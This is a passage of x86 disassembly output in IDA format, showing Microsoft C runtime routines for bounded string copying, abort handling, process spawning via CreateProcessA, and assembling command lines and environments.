		pop	ebx
		leave
		retn
sub_413890	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139F9	proc near		; CODE XREF: sub_40DDD8+121p
					; sub_40DDD8+146p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		cmp	eax, ebx
		jz	short loc_413A11
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		ja	short loc_413A2C


loc_413A11:				; CODE XREF: sub_4139F9+Fj
					; sub_4139F9+3Cj
		call	sub_40C862
		push	16h
		pop	esi
		mov	[eax], esi


loc_413A1B:				; CODE XREF: sub_4139F9+6Bj
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B255
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_413A68
; ---------------------------------------------------------------------------


loc_413A2C:				; CODE XREF: sub_4139F9+16j
		mov	esi, [ebp+arg_8]
		cmp	esi, ebx
		jnz	short loc_413A37


loc_413A33:				; CODE XREF: sub_4139F9+4Aj
		mov	[eax], bl
		jmp	short loc_413A11
; ---------------------------------------------------------------------------


loc_413A37:				; CODE XREF: sub_4139F9+38j
		mov	edx, eax


loc_413A39:				; CODE XREF: sub_4139F9+46j
		cmp	[edx], bl
		jz	short loc_413A41
		inc	edx
		dec	edi
		jnz	short loc_413A39


loc_413A41:				; CODE XREF: sub_4139F9+42j
		cmp	edi, ebx
		jz	short loc_413A33


loc_413A45:				; CODE XREF: sub_4139F9+57j
		mov	cl, [esi]
		mov	[edx], cl
		inc	edx
		inc	esi
		cmp	cl, bl
		jz	short loc_413A52
		dec	edi
		jnz	short loc_413A45


loc_413A52:				; CODE XREF: sub_4139F9+54j
		cmp	edi, ebx
		jnz	short loc_413A66
		mov	[eax], bl
		call	sub_40C862
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_413A1B
; ---------------------------------------------------------------------------


loc_413A66:				; CODE XREF: sub_4139F9+5Bj
		xor	eax, eax


loc_413A68:				; CODE XREF: sub_4139F9+31j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4139F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A6D	proc near		; CODE XREF: sub_40DDD8+FBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		push	edi
		cmp	[ebp+arg_C], ebx
		jnz	short loc_413A8F
		cmp	esi, ebx
		jnz	short loc_413A93
		cmp	[ebp+arg_4], ebx
		jnz	short loc_413A9A


loc_413A88:				; CODE XREF: sub_413A6D+4Fj
					; sub_413A6D+8Ej
		xor	eax, eax


loc_413A8A:				; CODE XREF: sub_413A6D+46j
					; sub_413A6D+A0j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_413A8F:				; CODE XREF: sub_413A6D+10j
		cmp	esi, ebx
		jz	short loc_413A9A


loc_413A93:				; CODE XREF: sub_413A6D+14j
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		ja	short loc_413AB5


loc_413A9A:				; CODE XREF: sub_413A6D+19j
					; sub_413A6D+24j ...
		call	sub_40C862
		push	16h
		pop	esi
		mov	[eax], esi


loc_413AA4:				; CODE XREF: sub_413A6D+B3j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B255
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_413A8A
; ---------------------------------------------------------------------------


loc_413AB5:				; CODE XREF: sub_413A6D+2Bj
		cmp	[ebp+arg_C], ebx
		jnz	short loc_413ABE
		mov	[esi], bl
		jmp	short loc_413A88
; ---------------------------------------------------------------------------


loc_413ABE:				; CODE XREF: sub_413A6D+4Bj
		mov	edx, [ebp+arg_8]
		cmp	edx, ebx
		jnz	short loc_413AC9
		mov	[esi], bl
		jmp	short loc_413A9A
; ---------------------------------------------------------------------------


loc_413AC9:				; CODE XREF: sub_413A6D+56j
		cmp	[ebp+arg_C], 0FFFFFFFFh
		mov	eax, esi
		jnz	short loc_413AE0


loc_413AD1:				; CODE XREF: sub_413A6D+6Fj
		mov	cl, [edx]
		mov	[eax], cl
		inc	eax
		inc	edx
		cmp	cl, bl
		jz	short loc_413AF9
		dec	edi
		jnz	short loc_413AD1
		jmp	short loc_413AF9
; ---------------------------------------------------------------------------


loc_413AE0:				; CODE XREF: sub_413A6D+62j
					; sub_413A6D+83j
		mov	cl, [edx]
		mov	[eax], cl
		inc	eax
		inc	edx
		cmp	cl, bl
		jz	short loc_413AF2
		dec	edi
		jz	short loc_413AF2
		dec	[ebp+arg_C]
		jnz	short loc_413AE0


loc_413AF2:				; CODE XREF: sub_413A6D+7Bj
					; sub_413A6D+7Ej
		cmp	[ebp+arg_C], ebx
		jnz	short loc_413AF9
		mov	[eax], bl


loc_413AF9:				; CODE XREF: sub_413A6D+6Cj
					; sub_413A6D+71j ...
		cmp	edi, ebx
		jnz	short loc_413A88
		cmp	[ebp+arg_C], 0FFFFFFFFh
		jnz	short loc_413B12
		mov	eax, [ebp+arg_4]
		push	50h
		mov	[esi+eax-1], bl
		pop	eax
		jmp	loc_413A8A
; ---------------------------------------------------------------------------


loc_413B12:				; CODE XREF: sub_413A6D+94j
		mov	[esi], bl
		call	sub_40C862
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_413AA4
sub_413A6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B22	proc near		; CODE XREF: sub_40DDD8+31p
					; sub_40DDD8+42p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jl	short loc_413B4F
		cmp	ecx, 2
		jle	short loc_413B42
		cmp	ecx, 3
		jnz	short loc_413B4F
		mov	eax, dword_42E3F8
		jmp	short loc_413B6A
; ---------------------------------------------------------------------------


loc_413B42:				; CODE XREF: sub_413B22+12j
		mov	eax, dword_42E3F8
		mov	dword_42E3F8, ecx
		jmp	short loc_413B6A
; ---------------------------------------------------------------------------


loc_413B4F:				; CODE XREF: sub_413B22+Dj
					; sub_413B22+17j
		call	sub_40C862
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh


loc_413B6A:				; CODE XREF: sub_413B22+1Ej
					; sub_413B22+2Bj
		pop	esi
		pop	ebp
		retn
sub_413B22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B6D	proc near		; CODE XREF: sub_40E02B:loc_40E059p

var_328		= dword	ptr -328h
var_31C		= dword	ptr -31Ch
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_244		= word ptr -244h
var_240		= word ptr -240h
var_23C		= word ptr -23Ch
var_238		= word ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= word ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_4		= dword	ptr -4

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		test	byte_42AD18, 1
		push	esi
		jz	short loc_413B94
		push	0Ah
		call	sub_40DDD8
		pop	ecx


loc_413B94:				; CODE XREF: sub_413B6D+1Dj
		call	sub_4136B5
		test	eax, eax
		jz	short loc_413BA5
		push	16h
		call	sub_4136C2
		pop	ecx


loc_413BA5:				; CODE XREF: sub_413B6D+2Ej
		test	byte_42AD18, 2
		jz	loc_413C7C
		mov	[ebp+var_220], eax
		mov	[ebp+var_224], ecx
		mov	[ebp+var_228], edx
		mov	[ebp+var_22C], ebx
		mov	[ebp+var_230], esi
		mov	[ebp+var_234], edi
		mov	[ebp+var_208], ss
		mov	[ebp+var_214], cs
		mov	[ebp+var_238], ds
		mov	[ebp+var_23C], es
		mov	[ebp+var_240], fs
		mov	[ebp+var_244], gs
		pushf
		pop	[ebp+var_210]
		mov	esi, [ebp+4]
		lea	eax, [ebp+4]
		mov	[ebp+var_20C], eax
		mov	[ebp+var_2D0], 10001h
		mov	[ebp+var_218], esi
		mov	eax, [eax-4]
		push	50h
		mov	[ebp+var_21C], eax
		lea	eax, [ebp+var_328]
		push	0
		push	eax
		call	sub_40BD40
		lea	eax, [ebp+var_328]
		add	esp, 0Ch
		mov	[ebp+var_2D8], eax
		lea	eax, [ebp+var_2D0]
		push	0
		mov	[ebp+var_328], 40000015h
		mov	[ebp+var_31C], esi
		mov	[ebp+var_2D4], eax
		call	dword_41D1AC	; SetUnhandledExceptionFilter
		lea	eax, [ebp+var_2D8]
		push	eax
		call	dword_41D1B0	; UnhandledExceptionFilter


loc_413C7C:				; CODE XREF: sub_413B6D+3Fj
		push	3
		call	sub_40DD56
		int	3		; Trap to Debugger
sub_413B6D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C84	proc near		; CODE XREF: sub_40EC96+5Ap

var_68		= dword	ptr -68h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 68h
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_1], bl
		cmp	eax, ebx
		jz	short loc_413CB2
		cmp	eax, 1
		jz	short loc_413CB2
		jle	short loc_413CBA
		cmp	eax, 3
		jle	short loc_413CB2
		cmp	eax, 4
		jnz	short loc_413CBA
		mov	[ebp+var_1], 1


loc_413CB2:				; CODE XREF: sub_413C84+17j
					; sub_413C84+1Cj ...
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax
		jmp	short loc_413CF2
; ---------------------------------------------------------------------------


loc_413CBA:				; CODE XREF: sub_413C84+1Ej
					; sub_413C84+28j
		call	sub_40C875
		mov	[eax], ebx
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_413E8F
; ---------------------------------------------------------------------------


loc_413CE1:				; CODE XREF: sub_413C84+60j
					; sub_413C84+70j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_413CE1
		lea	ecx, [eax+1]
		cmp	[ecx], bl
		jz	short loc_413CF2
		mov	byte ptr [eax],	20h
		mov	eax, ecx


loc_413CF2:				; CODE XREF: sub_413C84+34j
					; sub_413C84+67j
		cmp	[eax], bl
		jnz	short loc_413CE1
		push	esi
		push	44h
		pop	esi
		push	esi
		lea	eax, [ebp+var_68]
		push	ebx
		push	eax
		call	sub_40BD40
		mov	[ebp+var_68], esi
		mov	esi, dword_430148
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_413D40
		lea	eax, [esi-1]


loc_413D18:				; CODE XREF: sub_413C84+B2j
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		mov	ecx, dword_430160[ecx*4]
		and	edx, 1Fh
		shl	edx, 6
		cmp	[ecx+edx+4], bl
		jnz	short loc_413D38
		dec	esi
		dec	eax
		cmp	esi, ebx
		jnz	short loc_413D18


loc_413D38:				; CODE XREF: sub_413C84+ACj
		cmp	esi, ebx
		jl	loc_413E80


loc_413D40:				; CODE XREF: sub_413C84+8Fj
		cmp	esi, 3332h
		jnb	loc_413E80
		mov	eax, esi
		imul	eax, 5
		add	eax, 4
		mov	[ebp+var_36], ax
		movzx	eax, ax
		push	1
		push	eax
		call	sub_40EF6F
		pop	ecx
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	eax, ebx
		jz	loc_413E80
		cmp	esi, ebx
		mov	[eax], esi
		mov	eax, [ebp+var_34]
		lea	ecx, [eax+4]
		lea	edi, [eax+esi+4]
		mov	[ebp+var_8], ebx
		jle	short loc_413DBC


loc_413D83:				; CODE XREF: sub_413C84+133j
		mov	eax, [ebp+var_8]
		mov	edx, eax
		and	eax, 1Fh
		sar	edx, 5
		shl	eax, 6
		add	eax, dword_430160[edx*4]
		mov	dl, [eax+4]
		test	dl, 10h
		jnz	short loc_413DA8
		mov	[ecx], dl
		mov	eax, [eax]
		mov	[edi], eax
		jmp	short loc_413DAD
; ---------------------------------------------------------------------------


loc_413DA8:				; CODE XREF: sub_413C84+11Aj
		mov	[ecx], bl
		or	dword ptr [edi], 0FFFFFFFFh


loc_413DAD:				; CODE XREF: sub_413C84+122j
		inc	[ebp+var_8]
		inc	ecx
		add	edi, 4
		cmp	[ebp+var_8], esi
		jl	short loc_413D83
		mov	eax, [ebp+var_34]


loc_413DBC:				; CODE XREF: sub_413C84+FDj
		cmp	[ebp+var_1], bl
		jz	short loc_413DED
		lea	ecx, [eax+4]
		xor	edx, edx
		lea	eax, [eax+esi+4]


loc_413DCA:				; CODE XREF: sub_413C84+160j
		cmp	esi, 3
		jge	short loc_413DD3
		mov	edi, esi
		jmp	short loc_413DD6
; ---------------------------------------------------------------------------


loc_413DD3:				; CODE XREF: sub_413C84+149j
		push	3
		pop	edi


loc_413DD6:				; CODE XREF: sub_413C84+14Dj
		cmp	edx, edi
		jge	short loc_413DE6
		mov	[ecx], bl
		or	dword ptr [eax], 0FFFFFFFFh
		inc	edx
		inc	ecx
		add	eax, 4
		jmp	short loc_413DCA
; ---------------------------------------------------------------------------


loc_413DE6:				; CODE XREF: sub_413C84+154j
		mov	[ebp+var_C], 8


loc_413DED:				; CODE XREF: sub_413C84+13Bj
		call	sub_40C875
		mov	[eax], ebx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+var_C]
		push	1
		push	ebx
		push	ebx
		push	[ebp+var_10]
		push	[ebp+arg_4]
		call	dword_41D124	; CreateProcessA
		mov	esi, eax
		call	dword_41D1D8	; RtlGetLastWin32Error
		push	[ebp+var_34]
		mov	edi, eax
		call	sub_40ADC8
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_413E33
		push	edi
		call	sub_40C888
		pop	ecx
		jmp	short loc_413E8B
; ---------------------------------------------------------------------------


loc_413E33:				; CODE XREF: sub_413C84+1A4j
		cmp	[ebp+arg_0], 2
		jnz	short loc_413E3F
		push	ebx
		call	sub_40DD56


loc_413E3F:				; CODE XREF: sub_413C84+1B3j
		mov	esi, dword_41D0A8
		cmp	[ebp+arg_0], ebx
		jnz	short loc_413E67
		push	0FFFFFFFFh
		push	[ebp+var_24]
		call	dword_41D06C	; WaitForSingleObject
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_24]
		call	dword_41D128	; GetExitCodeProcess
		mov	ebx, [ebp+var_14]
		jmp	short loc_413E6D
; ---------------------------------------------------------------------------


loc_413E67:				; CODE XREF: sub_413C84+1C4j
		cmp	[ebp+arg_0], 4
		jnz	short loc_413E74


loc_413E6D:				; CODE XREF: sub_413C84+1E1j
		push	[ebp+var_24]
		call	esi ; dword_41D0A8
		jmp	short loc_413E77
; ---------------------------------------------------------------------------


loc_413E74:				; CODE XREF: sub_413C84+1E7j
		mov	ebx, [ebp+var_24]


loc_413E77:				; CODE XREF: sub_413C84+1EEj
		push	[ebp+var_20]
		call	esi ; dword_41D0A8
		mov	eax, ebx
		jmp	short loc_413E8E
; ---------------------------------------------------------------------------


loc_413E80:				; CODE XREF: sub_413C84+B6j
					; sub_413C84+C2j ...
		call	sub_40C862
		mov	dword ptr [eax], 0Ch


loc_413E8B:				; CODE XREF: sub_413C84+1ADj
		or	eax, 0FFFFFFFFh


loc_413E8E:				; CODE XREF: sub_413C84+1FAj
		pop	esi


loc_413E8F:				; CODE XREF: sub_413C84+58j
		pop	edi
		pop	ebx
		leave
		retn
sub_413C84	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E93	proc near		; CODE XREF: sub_40EC96+42p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aSystemroot	; "SystemRoot"
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsw
		mov	[ebp+var_2C], ecx
		mov	ecx, [ebp+arg_8]
		xor	ebx, ebx
		mov	[ebp+var_20], ecx
		mov	ecx, [ebp+arg_C]
		movsb
		push	2
		mov	[ebp+var_38], eax
		mov	edi, eax
		mov	eax, [eax]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_3C], ebx
		pop	esi
		jmp	short loc_413EF1
; ---------------------------------------------------------------------------


loc_413EE1:				; CODE XREF: sub_413E93+60j
		push	eax
		call	sub_40BFB0
		add	edi, 4
		lea	esi, [esi+eax+1]
		mov	eax, [edi]
		pop	ecx


loc_413EF1:				; CODE XREF: sub_413E93+4Cj
		cmp	eax, ebx
		jnz	short loc_413EE1
		push	1
		push	esi
		mov	[ebp+var_34], esi
		call	sub_40EF6F
		mov	esi, [ebp+var_20]
		pop	ecx
		pop	ecx
		mov	[esi], eax
		cmp	eax, ebx
		jnz	short loc_413F2E
		mov	eax, [ebp+var_18]
		mov	[eax], ebx
		call	sub_40C862
		mov	dword ptr [eax], 0Ch
		call	sub_40C875
		mov	dword ptr [eax], 8
		or	eax, 0FFFFFFFFh
		jmp	loc_41425D
; ---------------------------------------------------------------------------


loc_413F2E:				; CODE XREF: sub_413E93+76j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_415ADE
		add	esp, 0Ch
		cmp	eax, ebx
		jz	short loc_413F57
		cmp	eax, 16h
		jnz	short loc_413FB9
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h
		jmp	short loc_413FB9
; ---------------------------------------------------------------------------


loc_413F57:				; CODE XREF: sub_413E93+AEj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40BFB0
		mov	edi, eax
		inc	edi
		inc	edi
		pop	ecx
		mov	[ebp+var_30], edi
		cmp	[ebp+var_14], ebx
		jz	short loc_413F7B
		push	[ebp+var_14]
		call	sub_40BFB0
		add	edi, eax
		pop	ecx
		mov	[ebp+var_30], edi


loc_413F7B:				; CODE XREF: sub_413E93+D8j
		mov	eax, [ebp+var_2C]
		cmp	eax, ebx
		jz	short loc_413FD1
		push	2
		mov	esi, eax
		mov	eax, [eax]
		pop	edi
		jmp	short loc_413F9B
; ---------------------------------------------------------------------------


loc_413F8B:				; CODE XREF: sub_413E93+10Aj
		push	eax
		call	sub_40BFB0
		add	esi, 4
		lea	edi, [edi+eax+1]
		mov	eax, [esi]
		pop	ecx


loc_413F9B:				; CODE XREF: sub_413E93+F6j
		cmp	eax, ebx
		jnz	short loc_413F8B
		mov	eax, dword_42E3F0
		cmp	eax, ebx
		jnz	short loc_413FEB
		call	sub_40F8FA
		mov	dword_42E3F0, eax
		cmp	eax, ebx
		jnz	short loc_413FEB
		mov	esi, [ebp+var_20]


loc_413FB9:				; CODE XREF: sub_413E93+B3j
					; sub_413E93+C2j
		push	dword ptr [esi]
		or	[ebp+var_24], 0FFFFFFFFh
		call	sub_40ADC8
		mov	eax, [ebp+var_18]
		mov	[esi], ebx
		pop	ecx
		mov	[eax], ebx
		jmp	loc_414236
; ---------------------------------------------------------------------------


loc_413FD1:				; CODE XREF: sub_413E93+EDj
		mov	eax, [ebp+var_18]
		mov	[eax], ebx


loc_413FD6:				; CODE XREF: sub_413E93+20Bj
		mov	edi, [ebp+var_38]
		mov	eax, [edi]
		mov	esi, [esi]
		cmp	eax, ebx
		jnz	loc_4140D6
		inc	esi
		jmp	loc_414140
; ---------------------------------------------------------------------------


loc_413FEB:				; CODE XREF: sub_413E93+113j
					; sub_413E93+121j
		mov	[ebp+var_1C], ebx
		cmp	[eax], bl
		jz	short loc_41401A
		mov	cl, [eax]
		mov	esi, eax


loc_413FF6:				; CODE XREF: sub_413E93+185j
		cmp	cl, 3Dh
		jz	short loc_41401A
		push	esi
		call	sub_40BFB0
		pop	ecx
		mov	ecx, [ebp+var_1C]
		lea	ecx, [ecx+eax+1]
		mov	eax, dword_42E3F0
		lea	esi, [eax+ecx]
		mov	[ebp+var_1C], ecx
		mov	cl, [esi]
		cmp	cl, bl
		jnz	short loc_413FF6


loc_41401A:				; CODE XREF: sub_413E93+15Dj
					; sub_413E93+166j
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_28], ecx
		jmp	short loc_41404D
; ---------------------------------------------------------------------------


loc_414022:				; CODE XREF: sub_413E93+1BFj
		cmp	[eax+1], bl
		jz	short loc_414054
		cmp	byte ptr [eax+2], 3Ah
		jnz	short loc_414054
		cmp	byte ptr [eax+3], 3Dh
		jnz	short loc_414054
		add	eax, 4
		push	eax
		call	sub_40BFB0
		pop	ecx
		mov	ecx, [ebp+var_28]
		lea	eax, [ecx+eax+5]
		mov	ecx, dword_42E3F0
		mov	[ebp+var_28], eax


loc_41404D:				; CODE XREF: sub_413E93+18Dj
		add	eax, ecx
		cmp	byte ptr [eax],	3Dh
		jz	short loc_414022


loc_414054:				; CODE XREF: sub_413E93+192j
					; sub_413E93+198j ...
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_1C]
		mov	esi, [ebp+var_2C]
		add	edi, eax
		mov	[ebp+var_40], edi
		jmp	short loc_414083
; ---------------------------------------------------------------------------


loc_414064:				; CODE XREF: sub_413E93+1F2j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40BFB0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	dword ptr [esi]
		call	sub_415A3D
		add	esp, 10h
		test	eax, eax
		jz	short loc_4140CD
		add	esi, 4


loc_414083:				; CODE XREF: sub_413E93+1CFj
		cmp	[esi], ebx
		jnz	short loc_414064
		add	edi, [ebp+var_30]


loc_41408A:				; CODE XREF: sub_413E93+241j
		push	1
		push	edi
		call	sub_40EF6F
		mov	esi, [ebp+var_20]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_18]
		mov	[ecx], eax
		cmp	eax, ebx
		jnz	loc_413FD6
		push	dword ptr [esi]
		call	sub_40ADC8
		pop	ecx
		mov	[esi], ebx
		call	sub_40C862
		mov	dword ptr [eax], 0Ch
		call	sub_40C875
		or	[ebp+var_24], 0FFFFFFFFh
		mov	dword ptr [eax], 8
		jmp	loc_414236
; ---------------------------------------------------------------------------


loc_4140CD:				; CODE XREF: sub_413E93+1EBj
		mov	[ebp+var_3C], 1
		jmp	short loc_41408A
; ---------------------------------------------------------------------------


loc_4140D6:				; CODE XREF: sub_413E93+14Cj
		push	eax
		mov	eax, esi
		sub	eax, esi
		add	eax, [ebp+var_34]
		push	eax
		push	esi
		call	sub_40CD95
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4140F9
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_4140F9:				; CODE XREF: sub_413E93+257j
		push	dword ptr [edi]
		call	sub_40BFB0
		lea	esi, [esi+eax+1]
		add	edi, 4
		jmp	short loc_41413F
; ---------------------------------------------------------------------------


loc_414109:				; CODE XREF: sub_413E93+2B1j
		push	eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		sub	eax, esi
		add	eax, [ebp+var_34]
		push	eax
		push	esi
		call	sub_40CD95
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41412F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_41412F:				; CODE XREF: sub_413E93+28Dj
		push	dword ptr [edi]
		call	sub_40BFB0
		add	esi, eax
		add	edi, 4
		mov	byte ptr [esi],	20h
		inc	esi


loc_41413F:				; CODE XREF: sub_413E93+274j
		pop	ecx


loc_414140:				; CODE XREF: sub_413E93+153j
		mov	eax, [edi]
		cmp	eax, ebx
		jnz	short loc_414109
		mov	eax, [ebp+var_18]
		mov	[esi-1], bl
		mov	[esi], bl
		mov	esi, [eax]
		cmp	[ebp+var_2C], ebx
		jz	loc_414226
		mov	edi, [ebp+var_28]
		mov	eax, [ebp+var_1C]
		mov	ecx, edi
		sub	ecx, eax
		push	ecx
		mov	ecx, dword_42E3F0
		add	ecx, eax
		push	ecx
		push	esi
		call	sub_40E710
		sub	edi, [ebp+var_1C]
		add	esp, 0Ch
		add	esi, edi
		mov	edi, [ebp+var_2C]
		jmp	short loc_4141B6
; ---------------------------------------------------------------------------


loc_414180:				; CODE XREF: sub_413E93+325j
		mov	eax, [ebp+var_40]
		mov	ecx, [ebp+var_18]
		push	dword ptr [edi]
		sub	eax, esi
		add	eax, [ecx]
		push	eax
		push	esi
		call	sub_40CD95
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4141A7
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_4141A7:				; CODE XREF: sub_413E93+305j
		push	dword ptr [edi]
		call	sub_40BFB0
		pop	ecx
		lea	esi, [esi+eax+1]
		add	edi, 4


loc_4141B6:				; CODE XREF: sub_413E93+2EBj
		cmp	[edi], ebx
		jnz	short loc_414180
		cmp	[ebp+var_3C], ebx
		jnz	short loc_414226
		mov	edi, [ebp+var_30]
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		push	esi
		call	sub_40CD95
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4141E1
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_4141E1:				; CODE XREF: sub_413E93+33Fj
		push	offset dword_41DD40
		push	edi
		push	esi
		call	sub_4139F9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_414201
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_414201:				; CODE XREF: sub_413E93+35Fj
		cmp	[ebp+var_14], ebx
		jz	short loc_414224
		push	[ebp+var_14]
		push	edi
		push	esi
		call	sub_4139F9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_414224
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_414224:				; CODE XREF: sub_413E93+371j
					; sub_413E93+382j
		add	esi, edi


loc_414226:				; CODE XREF: sub_413E93+2C0j
					; sub_413E93+32Aj
		cmp	esi, ebx
		jz	short loc_414236
		mov	eax, [ebp+var_18]
		cmp	esi, [eax]
		jnz	short loc_414234
		mov	[esi], bl
		inc	esi


loc_414234:				; CODE XREF: sub_413E93+39Cj
		mov	[esi], bl


loc_414236:				; CODE XREF: sub_413E93+139j
					; sub_413E93+235j ...
		mov	eax, dword_42E3F0
		cmp	eax, ebx
		jz	short loc_414246
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_414246:				; CODE XREF: sub_413E93+3AAj
		mov	dword_42E3F0, ebx
		cmp	[ebp+var_14], ebx
		jz	short loc_41425A
		push	[ebp+var_14]
		call	sub_40ADC8
		pop	ecx


loc_41425A:				; CODE XREF: sub_413E93+3BCj
		mov	eax, [ebp+var_24]


loc_41425D:				; CODE XREF: sub_413E93+96j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_413E93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41426C	proc near		; CODE XREF: sub_40ED0F+10Ap
					; sub_40ED0F+1C1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_0], esi
		jnz	short loc_41429D


loc_414279:				; CODE XREF: sub_41426C+38j
		call	sub_40C875
		mov	[eax], esi
		call	sub_40C862
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		push	16h
